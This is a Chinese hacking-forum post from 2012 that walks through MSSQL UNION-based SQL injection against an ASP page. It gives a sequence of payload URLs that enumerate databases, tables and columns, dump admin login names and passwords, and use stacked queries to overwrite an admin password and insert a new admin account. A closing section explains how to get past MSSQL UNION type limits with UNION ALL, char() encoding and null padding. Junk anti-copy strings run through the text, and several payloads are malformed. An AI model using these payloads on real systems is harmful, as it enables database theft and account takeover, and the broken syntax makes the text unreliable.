找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1924|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
爆库:
( K6 @+ i1 Y  R8 z1 ~http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
1 P. x2 c6 i5 [$ p& ZSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
9 `$ q6 J$ I! S0 ]% |* D爆下一个库:! G8 I0 K5 J* L" D, e. _
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
3 l2 i% b) H9 V! H# B/ C0 s  p2 l& E' ^# ^( j
爆表:7 o1 \, O* D' W) R) X/ g
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--& q: ^! O. a  g3 t! {

0 |  z" ]( `$ rSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.. @- }( K+ `0 H

6 a- I1 M/ @. `: @2 O$ h( g1 S2 z8 G爆下一个表
8 e/ g3 r0 X6 [2 K; y+ ^( F& Z! ghttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--+ d( f! r  C8 [
! m) p; C% q" L7 [# ^$ n5 z
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--2 I* H( {# H1 F
5 z) n; O* s! U6 R3 l! l# g

3 ^# \+ l8 e# p
# X$ y, M% C% R# F爆字段:
; c3 k! f: y% c' _0 fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--5 p' ?# _9 }8 I+ N/ M
7 I- [4 [. M: J+ l
爆下一个字段
/ A+ N* }7 l1 m9 `# K$ A! Qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--8 Y0 l* x; t1 D, N
7 P6 z$ O( X, K# X: C! }% y* r  ~
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
: ?* I9 {# U9 U& N1 _8 u2 Z, R/ ^& X! d+ w' E4 ~
5 t3 a4 t. [! W% g4 T6 Q( O
爆字段里的内容) z* [; _9 w7 u) F
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--- d; H0 E: X: t' n& f

# J4 e5 y+ n  I  G7 Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--% Z% g' q& j% C5 s. W

3 {/ p0 m0 T2 M1 J; X. K/ Nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--3 n7 Y9 I( |, k% \- Q
* \* Y; k5 _4 n6 h, f
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
2 v# l, X5 v; L; i2 V7 i
, J2 b( o0 d- h更新字段里的内容, o7 r7 m; P" h6 H0 s
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--& ~, ~! P8 n, @4 q. {# l$ e

* Q9 x" V6 y% X( R8 Y8 L. khttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
! p* o- @( ^% @# q! A" |+ M- Z$ x4 J6 ~

" G3 P( C* l5 f! j; m
- I2 [: w3 y. j+ l3 H* R2 n& J" t        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
. O# V8 e  P9 `0 m) ?: w    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。' t7 [$ K. R7 t8 T" I; l
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
  b7 t( d+ l3 t, t; L. u* G/ p    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。, t  n/ `* ]+ k2 N
( @1 n9 v% N3 o2 p2 Q4 H
突了了大部份限制的语句; Q# c9 r7 T4 p. J4 e
and 1=2 union all select char(49),char(50),null,null;--) F/ p5 C, [1 V! E
( _4 S% e+ p* K3 l# S
% n  @6 a* |) n9 R
null也可以正常执行,不过没有回显,不好判断回显的列数。( z/ p0 E% v% J, J- A
一般union遇到问题都是有text或者ntext字段,image的很少遇到
4 e8 R' J! V9 i9 d  J' ?: T
; G4 y7 u+ `4 e3 Q可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟1 G3 C: Z# V9 b# f
! X+ A, ^4 J6 t
- w  a9 Q2 x+ Q) X3 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表